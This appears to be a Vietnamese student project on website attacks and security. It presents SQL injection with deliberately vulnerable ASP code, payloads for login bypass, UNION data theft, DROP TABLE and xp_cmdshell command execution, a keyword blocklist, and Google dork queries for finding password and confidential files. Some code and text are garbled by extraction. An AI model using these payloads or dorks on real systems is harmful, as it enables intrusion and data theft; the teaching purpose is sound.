Professional Documents
Culture Documents
ĐỒ ÁN:
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
.....................................................................................................................
2
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Mục lục
2. Các công cụ khảo sát và tìm lỗi cho webserver .............. trang 71
3
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Lời mở đầu
Ngày nay, trong thời buổi công nghệ thông tin, website là một thuật ngữ đã trở
nên quá quen thuộc đối với mọi người, nó trở nên phổ biến trên tất cả các lĩnh
vực như giáo dục, y tế, giải trí, chính trị,… và các nguồn dữ liệu đưa lên
internet thì ngày càng nhiều, và cũng có nhiều kẻ muốn có được chúng với
những mục đích khác nhau. Vì vậy xảy ra một mâu thuẫn lớn, đó là bảo mật
web và tấn công web. Họ đều dùng những công cụ dò tìm lỗi trong trang web,
nhưng một bên thì sữa lỗi, một bên thì lại căn cứ vào lỗi đó để tấn công, thắng
hay thua là còn tùy người quản trị trang web và tùy vào tài năng của những
hacker như thế nào.
Vì tính phổ biến này, chúng tôi xin giới thiệu đến các bạn một cái nhìn sơ lược
về tấn công và bảo mật một website.
4
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Trước khi tìm hiểu vấn đề tấn công và bảo mật website, chúng ta hãy tim hiểu
website là gì? Và chúng hoạt động như thế nào?
Trang web là một trang trong một website nào đó có dạng như
http://www.companyname.com/example.html . Trong đó example.html là tên
của trang web đó.
Tên miền (domain): tên miền chính là địa chỉ website, website bắt buộc phải
có tên miền. Tên miền có nhiều dạng www.abc.com hay www.abc.net hay
www.abc.com.vn... Có những website không mua tên miền riêng mà dùng tên
miền con (sub-domain) dạng www.abc.com/xyz. Dạng tên miền con như vậy
5
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
không phải tốn tiền mua mà trên nguyên tắc là website “mẹ” (tức
www.abc.com) có thể “mở” vài trăm, nghìn tên miền con như thế.
Dịch vụ lưu trữ (hosting): muốn những trang web được hiện lên khi người ta
truy cập nó thì chúng phải được lưu trữ trên một máy tính (máy phục vụ -
server) mà lúc nào cũng hoạt động và kết nối với mạng Internet. Nếu máy tính
này có sự cố bị tắt trong một thời điểm nào đó thì lúc đó không ai truy cập
được những website lưu trữ trên máy tính đó. Tùy theo nhu cầu mà doanh
nghiệp có thể chọn mua hosting với dung lượng 10MB (tức chứa được tối đa
10MB dữ liệu), 20MB, 50MB, 100MB hay nhiều hơn. Giá hosting hiện nay
cũng rất thấp, chỉ từ vài chục nghìn đến một hai trăm nghìn đồng mỗi tháng.
Hacker/Hacking: hacker là những người thích nghiên cứu về bảo mật trên
Internet và “thực tập” bằng cách đi “đánh phá” những website nào sơ hở về
bảo mật. Nói chung, không một website nào trên thế giới mà dám tuyên bố
bảo mật tuyệt đối. Hacker có thể cướp tên miền của website, có thể thay đổi
nội dung của website, có thể tấn công ồ ạt (các lệnh yêu cầu server hoạt
động) làm cho website bị “tê liệt” trong một khoảng thời gian. Những việc này
doanh nghiệp nên hỏi nhà cung cấp dịch vụ hosting của mình xem họ có
chính sách phục hồi như thế nào.
Như vậy, một website thì cần phải có một tên miền (Domain) , một nơi lưu trữ
các trang web (Hosting) và cơ sở dữ liệu (Database) luôn kết nối internet.
Bảo mật website là gì? Tại sao chúng ta cần phải bảo mật website?
Bảo mật website là dùng những công cụ bảo mật website để đảm bảo an toàn
cho website của mình, ngăn chặn tối đa sự tấn công của các Hacker muốn
xâm nhập và phá hoại hoặc lấy thông tin mật trong website của mình, đảm
bảo cơ sở dữ liệu được an toàn.
6
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
có trang web : abc.com.vn bị hacker tấn công và sữa dữ liệu của website
thành một công ty khác, những người có nhu cầu liên lạc với công ty thông
qua website sẽ cảm thấy thất vọng về công ty này, bởi website của họ đã bị
hack, như vậy là ảnh hưởng đến danh tiến của công ty, chưa kể đến việc các
hacker cung cấp thông tin tài chính hay các dự án của công ty này cho các
công ty khác đang có nhu cầu cạnh tranh, làm thiệt hại tài sản của công ty.
Một công ty có sở hữu một website sẽ rất nguy hiểm. Thế tại sao công ty nào
cũng có một website cho riêng mình ? Dưới đây là một số lý do :
Có xấp xỉ 300 triệu người trên thế giới đã truy cập vào mạng Internet và số
lượng này không ngừng được tăng lên hàng ngày. Việc tiếp cận được dù chỉ
1% nhóm khách hàng này cũng là 1 thành công của doanh nghiệp.
Đó là một phần không nhỏ của cộng đồng xã hội, hãy cho họ biết rằng bạn
quan tâm tới việc phục vụ cả cộng đồng này, bạn cần phải có mặt trên mạng
Internet. Bạn nên biết rằng, đối thủ cạnh tranh của bạn cũng đang làm như
vậy.
Nhiều khi công việc kinh doanh được hiểu một cách đơn giản là giao tiếp với
khách hàng. Mọi doanh nhân khôn ngoan đều hiểu rằng: "Bí quyết thành công
không nằm ở chỗ những gì bạn biết mà chính là ở chỗ bạn biết tới những
khách hàng nào". Các doanh nhân đều muốn tận dụng các cuộc gặp gỡ thông
thường thành công việc kinh doanh có lợi và việc trao danh thiếp là một việc
được coi trọng trong quá trình này. Nhưng điều gì sẽ xảy ra khi doanh nghiệp
cần phải gặp gỡ hàng ngàn, thậm chí hàng triệu đối tác làm ăn, liệu các
doanh nghiệp có thể tiếp xúc cùng một lúc với tất cả các khách hàng. Điều
này có thể được giải quyết hết sức đơn giản, tại mọi lúc, mọi nơi, mọi thời
điểm thông qua các trang Web trên mạng Internet.
Khi bạn muốn tạo các trang thông tin, quảng cáo, có thể bạn sẽ đăng chúng
trên mục quảng cáo, trang vàng, nhưng thời gian sẽ làm cho bạn phải tính lại.
Vì, làm thế nào để khách hàng quan tâm có thể liên hệ được ngay với bạn?
Phương thức thanh toán trong mỗi dịch vụ sẽ như thế nào? Quảng cáo trang
vàng sẽ khó khăn trong việc này vì đây vẫn chỉ là một loại phương tiện truyền
thông có khoảng cách. Trong thời đại hiện nay, các thông tin đòi hỏi phải
nhanh chóng hơn và mang tính đa chiều hơn. Internet sẽ giúp bạn làm được
7
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
điều đó thông qua những trang thông tin được duy trì liên tục 24/24 giờ trong
ngày và 07 ngày trong tuần. Khách hàng có thể xem thông tin về doanh
nghiệp của bạn bất kỳ lúc nào họ muốn, thậm chí ngay cả khi bạn đang ngủ.
Công nghệ Internet sẽ mang lại cho doanh nghiệp của bạn nhiều cách hơn để
phục vụ khách hàng. Liệu bạn có đủ đội ngũ nhân viên trực điện thoại để tiếp
nhận các yêu cầu của khách hàng về cung cấp thông tin dịch vụ mà họ cần?
Liệu khách hàng có thể tự động tra cứu vào cơ sở dữ liệu, tìm kiếm các thông
tin về dịch vụ bạn đang tiến hành mà họ muốn không? Tất cả điều này khách
hàng có thể là được 1 cách đơn giản và nhanh chóng thông qua chính
Website của doanh nghiệp bạn.
Bạn khó mà thuyết phục được các tạp chí đăng bài về việc bạn khai trương
một cửa hàng mới nhưng bạn lại có thể thuyết phục được họ đăng bài nêu tên
Website của bạn vì trang Web đó mới và có nhiều điều thú vị. Với các thông
tin như vậy, bất kỳ người sử dụng Internet nào cũng có thể truy cập vào
Website để tìm hiểu về doanh nghiệp của bạn và có thể trở thành khách hàng
tiềm năng.
Nếu bạn cần phải công bố các tài liệu trước lúc nửa đêm thì sẽ như thế nào?
Giả sử đó là tin khẩn cấp, công bố các giải thưởng của chương trình khuyến
mại,... Nếu bạn gửi các tin này tới các tòa soạn báo thì bạn sẽ gặp phải trở
ngại về thời gian: Thông tin của bạn chỉ được phát hành cùng với giờ phát
hành của báo và không thể thay đổi sau khi báo đã được phát hành. Với
Internet, bạn hoàn toàn có thể thay đổi tin tức mới cho Website của doanh
nghiệp trong vòng vài giây đồng hồ, những thông tin mới nhất sẽ được cập
nhật và sẽ được chuyển tới những người mong đợi mà không phải qua bất kỳ
người đưa tin nào.
Internet đem lại cho doanh nghiệp của bạn một cơ hội lớn để bạn có thể bán
hàng hóa. Sự phát triển của Internet trên toàn thế giới kéo theo sự ra đời và
mở rộng của một thị trường khách hàng mới đầy tiềm năng - cộng đồng người
sử dụng Internet. Liệu bạn có nên chần chừ khi mà các đối thủ cạnh tranh
trong kinh doanh của bạn đang dần từng bước thâm nhập và chiếm lĩnh thị
phần trên Internet?
8
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Nếu sản phẩm của bạn là những chiếc máy thì khách hàng sẽ thực sự bị
thuyết phục khi nhìn thấy nó hoạt động ra sao. Internet mở ra cho bạn nhiều
cách thức để giới thiệu sản phẩm thật sinh động tới khách hàng thông qua
Website bằng hình ảnh, âm thanh, các đoạn phim ngắn, điều này sẽ khiến các
khách hàng tiềm năng sẽ đến với bạn nhiều hơn, không một quyển sách giới
thiệu nào có thể làm được như vậy.
9. Vƣơn tới một thị trƣờng dân chúng có thu nhập cao
Số lượng người tham gia vào mạng Internet có thể tạo ra một thị trường sẵn
có đông đảo nhất. Những người sử dụng Internet thường là những người có
trình độ học vấn, có hiểu biết và địa vị ổn định, thu nhập cao trong xã hội.
Chính vì vậy, tiếp cận được và chiếm lĩnh thị trường khách hàng này là điều
mà bất kỳ doanh nghiệp kinh doanh nào cũng mong muốn đạt được.
Bất kỳ người trực điện thoại nào trong công ty bạn cũng đều nói rằng họ dùng
phần lớn thời gian của mình để trả lời các câu hỏi gần như giống nhau. Đó là
những câu hỏi mà các khách hàng muốn hỏi trước khi họ giao dịch với bạn.
Đưa những câu hỏi này lên Website sẽ giúp bạn loại bỏ được những rào chắn
đối với công việc kinh doanh và giải phóng bớt thời gian cho nhân viên trực
điện thoại.
Các nhân viên bán hàng lưu động có thể cần những thông tin cập nhật từng
phút để giúp họ bán hàng cũng như giúp cho việc kinh doanh luôn ăn ý. Nếu
bạn biết thông tin gì cần thiết, bạn có thể đưa chúng lên 1 Website riêng. Với
một cuộc truy cập Internet thông qua điện thoại nội hạt, nhân viên bán hàng
của doanh nghiệp bạn ở bất kỳ nơi đâu trên thế giới sẽ nhận được những
thông tin đầy đủ nhất mà không phải trả cước phí đường dài và những nhân
viên ở văn phòng không bận rộn thêm.
Với việc kinh doanh thông thường bạn không thể gửi thư, điện thoại hay phổ
biến các quy định tới tất cả mọi khách hàng tiềm năng trên thị trường thế giới,
nhưng với Website bạn có thể hội thoại trực tiếp với khách hàng quốc tế như
là với một khách hàng trong nội hạt. Khi doanh nghiệp của bạn có các văn
phòng đại diện ở nước ngoài, họ sẽ truy cập vào nguồn thông tin của văn
phòng trong nước với chi phí phải trả vhỉ bằng một cuộc điện thoại gọi nội hạt.
Chúng ta không phải lúc nào cũng có những công việc cùng chung một lịch
trình. Công việc kinh doanh là khắp mọi lúc, mọi nơi chứ không phải chỉ là thời
9
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
gian ở công sở. Khi công việc kinh doanh giữa Châu Âu và Châu Á đang thực
hiện thì sự khác biệt về thời gian sẽ là điều cản trở lớn. Các Website sẽ phục
vụ khách hàng và các đối tác của bạn 24/24 giờ trong ngày, 07/07 ngày trong
tuần. Thông tin có thể được khách hàng lựa chọn theo nhu cầu và các thông
tin mà họ coi là quan trọng, chính điều này sẽ đưa bạn dẫn đầu trong cuộc
cạnh tranh ngay cả khi bạn ở ngoài văn phòng làm việc.
14. Thay đổi thông tin hiện thời 1 cách nhanh chóng
Có những thông tin bị thay đổi trước khi nó được in ra. Và bạn sẽ có một đống
giấy tờ có cũng như không có giá trị lẫn lộn nhau. Các ấn phẩm điện tử có thể
thay đổi theo nhu cầu của bạn mà không cần đến giấy tờ, bút mực hay hóa
đơn. Bạn còn có thể gắn Website của doanh nghiệp với 1 cơ sở dữ liệu mà
bạn có thể thay đổi bao nhiêu lần trong 1 ngày cũng được tùy theo yêu cầu.
Chẳng có giấy tờ nào có thể giúp bạn thực hiện được sự năng động đó.
15. Cho phép bạn tiếp nhận thông tin phản hồi từ phía khách hàng
Với Website bạn có thể yêu cầu thông tin phản hồi từ phía khách hàng ngay
lập tức khi họ đang ghé thăm Website của doanh nghiệp bạn. Điều này giúp
bạn tiết kiệm được rất nhiều thời gian và tiền bạc để hoạch định các chiến
lược quảng cáo và kinh doanh trên cơ sở những thông tin nắm bắt được từ
phía khách hàng mà không phải mất thêm khoản chi nào nữa. Câu trả lời của
khách hàng được đưa lên Website ngay khi khách hàng tìm hiểu sản phẩm và
được chuyển lập tức tới địa chỉ e-mail của bạn.
16. Thử nghiệm dịch vụ và sản phẩm mới trên thị trƣờng
Khi đưa ra một sản phẩm mới trên thị trường, điều mà tất cả các doanh
nghiệp phải làm là quảng cáo và giới thiệu sản phẩm đó. Với các phương
pháp quảng cáo truyền thống, đây sẽ là một công đoạn rất tốn kém và đòi hỏi
kinh phí lớn. Nhưng nếu bạn giới thiệu, quảng cáo sản phẩm mới trên
Website của doanh nghiệp bạn, bạn sẽ biết rằng có thể chờ đợi gì từ những
khách hàng truy cập vào Website, họ chính là thị trường ít tốn kém nhất mà
bạn vươn tới. Họ còn có thể cho bạn biết họ nghĩ gì về sản phẩm của bạn 1
cách nhanh nhất, dễ dàng nhất với một chi phí ít hơn bất kỳ thị trường nào mà
bạn vươn tới.
Ngày nay, Internet được đánh giá là hệ thống truyền dẫn chuyên nghiệp nhất
bởi vì sản phẩm chính của nó là các thông tin được tiếp cận một cách dễ
dàng, nhanh chóng và rẻ tiền. Tất cả các ấn phẩm được truyền trên Internet
đang ngày càng trở nên phổ biến bởi vì các công việc đều được thực hiện
trong môi trường kỹ thuật số từ rất nhiều nguồn thông tin cung cấp. Tất cả
những công việc này thực hiện một cách dễ dàng thông qua các trang Web
trên chính Website của doanh nghiệp bạn.
10
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
18. Tiếp cận một thị trƣờng của giới trẻ và mang tính giáo dục
Ở hầu hết các trường đại học đều đã cho sinh viên tiếp cận vào Internet, giới
học sinh phổ thông sẽ từng bước làm quen và sử dụng dịch vụ Internet trong
nhiều năm tới. Nhu cầu về sách vở, trang phục thể thao, các khóa học, thời
trang trẻ và rất nhiều thứ khác sẽ trở thành nhu cầu đa dạng của thị trường
trên Internet. Thậm chí ngay cả khi áp dụng dịch vụ thương mại điện tử trên
mạng và tuổi thọ trung bình có phần tăng lên thì sự tăng trưởng của khu vực
thị trường tuổi dưới 25 vẫn tiếp tục.
Mạng Internet không đơn thuần chỉ là những máy tính mà nó còn là nơi mọi
người có thể mua bán, trao đổi bất kỳ thứ gì từ chiếc bàn chải đánh răng, các
tác phẩm nghệ thuật cho đến các bài học tiếng Anh,... Với 70 triệu người sử
dụng thường xuyên và số lượng người sử dụng tăng lên hàng ngày, thông tin
kinh doanh của bạn có thể được giới thiệu cho một số lượng người rất lớn.
Chúng ta đã nói về sức mạnh của việc phục vụ nhu cầu trên thị trường quốc
tế thông qua Internet, nhưng còn khu vực thị trường ở ngay địa phương của
bạn thì sao? Câu trả lời là: chính khách hàng trong địa phương bạn thông qua
các hoạt động marketing, họ sẽ biết tới Website, truy cập thông tin trên
Internet và mang lại lợi nhuận cho công ty bạn. Cho nên dù công ty được đặt
ở đâu thì thông qua mạng Internet, những khách hàng tiềm năng vẫn biết đến
bạn và bạn cũng sẽ sẵn sàng phục vụ họ.
11
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) và thi hành các câu
lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước).
Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện
các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng
dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra
trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ
liệu như SQL Server, MySQL, Oracle, DB2, Sysbase.
1.2. Các dạng tấn công bằng SQL Injection
Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập
(authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh INSERT,
sử dụng các stored-procedures [2], [3].
Dạng tấn công vƣợt qua kiểm tra đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của
ứng dụng web.
Xét một ví dụđiển hình, thông thường để cho phép người dùng truy cập
vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập
để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi
người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật
khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp.
Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML
để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ
phía người dùng. Ví dụ:
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
<input type="submit">
</form>
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing 12
%>
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Thoạt nhìn, đoạn mã trong trang execlogin.asp dường như không chứa
bất cứ một lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà
không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự
không an toàn và là tiền đề cho một lỗi SQL injection. Đặc biệt, chỗ sơ hở
nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp
câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thểđiều khiển
câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào
trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' '.
Lúc này, câu truy vấn sẽđược gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của
T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp
này như là người dùng đăng nhập hợp lệ.
Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này,
kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo
lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công.
Xét một ví dụ rất thường gặp trong các website về tin tức. Thông
thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội
dung của tin có ID này. Ví dụ: http://www.myhost.com/shownews.asp?ID=123.
Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng
<%
vNewsID = Request("ID")
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của
tin có ID trùng với ID đã chỉ định và hầu như không thấy có lỗi. Tuy nhiên,
giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL
injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID
13
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
cho một giá trị khác, và từđó, khởi đầu cho một cuộc tấn công bất hợp pháp,
ví dụ như: 0 OR 1=1 (nghĩa là, http://www.myhost.com/shownews.asp?ID=0
or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì
nó sẽ thực hiện câu lệnh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1
Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép
người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã
thường gặp là:
<%
vAuthorName = Request("fAUTHOR_NAME")
…
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để
Setnhập
objRSvào
= Nothing
trường tên tác giả bằng chuỗi giá trị:
%>' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE
''=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ
thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng
hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách
chèn vào các đoạn lệnh nguy hiểm như lệnh DROP TABLE. Ví dụ như: '
DROP TABLE T_AUTHORS -
Chắc các bạn sẽ thắc mắc là làm sao biết được ứng dụng web bị lỗi
dạng này được. Rất đơn giản, hãy nhập vào chuỗi (*) như trên, nếu hệ thống
báo lỗi về cú pháp dạng: Invalid object name “OtherTable”; ta có thể biết chắc
là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy mới có
thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT.
Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng
dữ liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL
injection. Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là
sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong
hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ như:
14
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _
& strValueTwo & " ', ' " & strValueThree & " ') "
Thì chắc chắn sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ
nhất ví dụ như: ' + (SELECT TOP 1 FieldName FROM TableName) + '. Lúc
này câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' + (SELECT
TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def'). Khi đó, lúc thực hiện
lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó
là: SELECT TOP 1 FieldName FROM TableName
Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng
dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn
mã tiêm vào dạng: ' ; EXEC xp_cmdshell „cmd.exe dir C: '. Lúc này hệ
thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá
hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
1.3. Cách phòng tránh
Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các
lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây
dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và
cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người
sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các
bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa
(quyền quản trị hệ thống), nó có thểđiều khiển toàn bộ hệ quản trị cơ sở dữ
liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người
dùng bất hợp pháp để điều khiển hệ thống của bạn. Để phòng tránh, ta có thể
15
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
<%
Function EscapeQuotes(sInput)
sInput = replace(sInput, " ' ", " ' ' ")
EscapeQuotes = sInput
5
End Function
%>
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế
một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất
hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay
không bằng hàm IsNumeric().
Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy
hiểm như: ;, --, select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía
người dùng để hạn chế các tấn công dạng này:
<%
Function KillChars(sInput)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_")
newChars = strInput
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
KillChars = newChars
End Function
%>
1.3.2. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến
tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông
thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn
chế, thiệt hại càng ít.
16
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ
bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người
dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ
thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
Tham chiếu
[1]. Danh sách các website bị lỗi SQL injection: http://www.security.com.vn/
[2]. SQL Injection FAQ:
http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=2&tabid=3 [3].
Advanced SQL Injection :
http://www.nextgenss.com/papers/advanced_sql_injection.pdf [4].
Preventing SQL Injection:
http://www.owasp.org/asac/input_validation/sql.shtml [5]. SQL Injection
Attacks -Are You Safe? http://www.sitepoint.com/article/794
Google là máy tìm kiếm mạnh mẽ và phổ biến nhất thế giới,nó có khả
năng chấp nhận những lệnh được định nghĩa sẵn khi nhập vào và cho những
kết quả không thể tin được. Điều này cho phép những người dùng có dã tâm
như tin tặc, crackers, và script kiddies v.v... sử dụng máy tìm kiếm Google để
thu thập những thông tin bí mật và nhạy cảm, những cái mà không thể nhìn
thấy qua những tìm kiếm thông thường.Với những cú pháp tìm kiếm nâng cao
có thể tìm ra những site lỗi hoặc server dễ bị tấn công.
[intitle:]
Giúp Google giới hạn kết quả tìm kiếm về những trang có chứa từ đó
trong tiêu đề. Ví dụ, “intitle: login password” (không có ngoặc kép) sẽ cho kết
quả là những link đến những trang có từ "login" trong tiêu đề, và từ
"password" nằm ở đâu đó trong trang.
Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong tiêu đề của trang thì
ta có thể dùng “allintitle:” thay cho “intitle” để có kết quả là những trang có
chứa tất cả những từ đó trong tiêu đề. Ví dụ như dùng:
“intitle: login intitle: password” cũng giống như truy vấn “allintitle: login
password”.
17
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
18
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
19
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
[ inurl: ]
Cú pháp “inurl:” giới hạn kết quả tìm kiếm về những địa chỉ URL có chứa từ
khóa tìm kiếm. Ví dụ: “inurl: passwd” (không có ngoặc kép) sẽ cho kết quả là
những link đến những trang có từ "passwd" trong URL.
Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong URL thì ta có thể
dùng “allinurl:” thay cho “inurl” để được kết quả là những URL chứa tất cả
những từ khóa tìm kiếm.Ví dụ: “allinurl: etc/passwd“ sẽ tìm kiếm những URL
có chứa “etc” và “passwd”. Ký hiệu gạch chéo (“/”) giữa các từ sẽ bị Google
bỏ qua.
[ site: ]
Cú pháp “site:” giới hạn Google chỉ truy vấn những từ khóa xác định trong một
site hoặc tên miền riêng biệt. Ví dụ: “exploits site:hackingspirits.com” (không
có ngoặc kép) sẽ tìm kiếm từ khóa “exploits” trong những trang hiện có trong
tất cả các link của tên miền “hackingspirits.com”. Không có khoảng trống nào
giữa “site:” và “tên miền”.
[ filetype: ]
Cú pháp “filetype:” giới hạn Google chỉ tìm kiếm những files trên internet có
phần mở rộng riêng biệt (Ví dụ: doc, pdf hay ppt v.v...). Ví dụ : “filetype:doc
site:gov confidential” (không có ngoặc kép) sẽ tìm kiếm những file có phẩn mở
rộng là “.doc” trong tất cả những tên miền của chính phủ có phần mở rộng là
“.gov” và chứa từ “confidential”(bí mật) trong trang hoặc trong file “.doc”. Ví dụ
20
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website
. Kết quả sẽ bao gồm những liên kết đến tất cả các file văn bản bí trên các
site của chính phủ.
[ link: ]
Cú pháp “link:” sẽ liệt kê những trang web mà có các liên kết đến đến những
trang web chỉ định. Ví dụ :
chuỗi “link:SecurityFocus” sẽ liệt kê những trang web có liên kết trỏ đến trang
chủ SecurityFocus.
Chú ý không có khoảng trống giữa "link:" và URL của trang Web.
[ related: ]
